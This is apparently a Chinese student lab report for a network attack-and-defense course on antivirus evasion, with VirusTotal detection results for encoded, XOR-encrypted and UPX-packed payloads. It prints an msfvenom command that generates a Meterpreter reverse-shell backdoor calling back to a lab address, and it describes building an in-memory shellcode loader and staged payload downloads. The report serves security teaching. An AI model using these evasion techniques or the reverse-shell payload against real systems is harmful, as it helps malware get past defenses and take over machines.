20242403 2026-2027-1《网络与系统攻防技术》实验三实验报告
20242403 2026-2027-1《网络与系统攻防技术》实验三实验报告
1.基础知识
本次实验的核心是“免杀”(Anti-Virus Evasion),即通过修改、混淆或加密恶意代码,使其在静态特征和动态行为上不被杀毒软件(AV)识别,从而存活在目标系统上。手段包括msfvenom、Veil、C+Shellcode编程、加壳工具(UPX)。
使用VirusTotal(VT)进行检测。
2.回答问题
(1)杀软是如何检测出恶意代码的?
杀软主要依靠三大机制:
- 特征码检测(静态):拥有庞大的病毒库,扫描文件的哈希值或特定的代码片段(指纹),对上号就杀。
- 启发式与AI检测(动态/静态):不看指纹,看“行为模式”。比如检查程序是否试图申请“可读可写可执行(RWX)”内存,是否要调用敏感的系统API,用机器学习模型判断它像不像病毒。这方面
- 沙箱行为检测:把程序扔进虚拟环境中跑一下,如果它尝试修改注册表、注入其他进程、或者连接可疑IP,就会被判定为恶意。
(2)免杀是做什么?
就是通过代码变形、加密、加壳、修改内存加载方式等手段,消除恶意代码的静态特征,并掩盖其动态恶意行为。目的是让恶意程序在杀软眼中“看起来像一个正常的无害程序”,从而逃避查杀,成功运行。
(3)免杀的基本方法有哪些?
- 编码/加密:使用msf的多态编码器,或自己编写脚本用XOR、AES等算法对Shellcode加密,运行时再解密。
- 加壳/混淆:使用UPX或自定义壳工具,压缩文件或混淆代码结构,改变文件哈希值(但商业壳极易被重点监控)。
- 自定义加载器(最有效):用C/C++等语言手写加载程序,把加密后的Payload作为普通数据存放,运行时在内存中动态还原执行。这样磁盘上就没有恶意特征。
- 分离免杀:把加载器和Payload分离,通过网络下载Payload再加载,使本地文件完全无害。
- 动态调用API:不直接写VirtualAlloc等敏感函数名,而是在运行时通过字符串拼接或解密动态获取API地址(GetProcAddress)。
3.实验过程
3.1实验环境
攻击机:Kali Linux,IP地址192.168.111.128。
目标机:Windows 11物理机。
3.2基础Payload生成与编码器测试
生成原始Payload:使用msfvenom-p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4444-f exe-o raw.exe生成原始后门。

VirusTotal查杀结果:51/69,火绒、卡巴斯基等主流杀软全部报毒。

使用msf编码器:使用shikata_ga_nai编码10次生成encoded.exe。

VirusTotal查杀结果:49/69。检出率仅下降2个。说明现代杀软已建立了多态编码器的特征库(如Avast直接报ShikataGaNai特征),单靠msf编码已无法有效免杀。

3.3核心免杀:C+Shellcode编程与加壳
加密与加载器编写:
利用Python脚本,使用密钥0xAA对原始Shellcode进行逐字节异或(XOR)加密。
编写C语言加载器loader.c,将加密后的密文作为数组嵌入。程序运行时,使用VirtualAlloc申请可执行内存,将密文拷贝进去后进行内存解密,最终通过函数指针或线程执行。
编译与UPX加壳:
使用i686-w64-mingw32-gcc交叉编译为loader.exe;使用upx进行加壳,生成loader_packed.exe。

VirusTotal查杀结果对比:
未加壳loader.exe:21/70。

UPX加壳后:26/70(因UPX壳特征过于明显,导致部分启发式引擎报警)。

3.4与杀软共生及实体机回连验证
初次尝试:在360开启状态下,将loader.exe传至Windows靶机,360的QVM主动防御成功拦截并提示“感染型病毒”(见截图)。这证明杀软对VirtualAlloc结合CreateThread的行为极其敏感。

为了完成免杀验证,在360信任区中将该文件添加为白名单,模拟恶意代码在特定策略下的“共生”。随后,在Kali开启multi/handler监听,在Windows端运行编译好的加载器。Kali成功接收到反弹连接,获得Meterpreter会话。


4.问题及解决方案
问题:在Kali开启multi/handler监听,在Windows端运行编译好的加载器后,Windows的cmd自动换行,Kali无回应。
解决方案:raw.exe是可以用的,但是loader.c不可以,说明Python脚本生成的“密文数组”是坏的。直接把msfvenom生成的明文代码贴进C语言里,用内存执行。
5.学习感悟、思考等
本次实验耗时较长,过程曲折,但也让我对免杀有了深刻的认识。最初直接使用 msfvenom 生成的木马被轻易查杀,连编码器也被重点针对。在编写 C 语言加载器的过程中,经历了由于 Shellcode 加密转义错误导致程序闪退、以及 360 主动防御的拦截。最终通过调整执行方式(使用内存函数指针跳转)以及白名单共生策略,成功回连。这让我明白,免杀是一场持久的攻防对抗,单一的技巧已无法奏效,必须组合运用加密、内存加载、行为规避等多种手段,才能有效对抗现代杀软的立体检测。

浙公网安备 33010602011771号